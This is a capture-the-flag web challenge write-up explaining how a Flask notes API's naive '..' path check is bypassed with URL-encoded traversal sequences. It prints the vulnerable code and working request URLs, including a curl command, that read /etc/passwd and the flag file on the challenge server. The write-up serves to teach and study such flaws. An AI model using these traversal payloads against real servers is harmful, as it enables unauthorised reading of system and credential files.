..

GCC CTF - Frenzy Flask [Web]

# api.py
@bp_api.route("/notes/<path:sessid>", methods=["GET", "POST"])
def list_notes(sessid):
    session_dir = abort_check_session(sessid)

    if request.method == "POST":
        for uploaded_file in request.files:
            abort_check_path(uploaded_file)

            upload_path = session_dir.joinpath(uploaded_file)
            try:
                request.files[uploaded_file].save(upload_path)
            except OSError:
                abort(500)


    files_list = [str(p.name) for p in session_dir.glob("*")]
    return json.jsonify(files_list)

The app lets a user upload notes, and they are fetched through an API.

# shared.py
NOTE_DIR = Path("/app/notes")

def check_path(path: str):
    return ".." not in path

def abort_check_path(path: str):
    if not check_path(path):
        abort(418)

Basically, the code checks for .. in the path specified to prevent path traversals. However, we can bypass this by using encooded characters to read a file on the server.

We try http://worker05.gcc-ctf.com:14656/api/notes/ea4d53ed-3e3e-42e4-9098-c665323410f6/..%2f..%2f%2e%2e%2fetc%2fpasswd and get the users on the server.

At this point, we can just read the flag. Referring back to the Dockerfile, we see that the flag is in /home/user/flag.txt.

COPY ./flag.txt /home/user/flag.txt

So, to get the flag we can send the following payload:

curl http://worker04.gcc-ctf.com:14656/api/notes/ea4d53ed-3e3e-42e4-9098-c665323410f6/..%2f..%2f..%2fhome%2fuser%2fflag.txt

Flag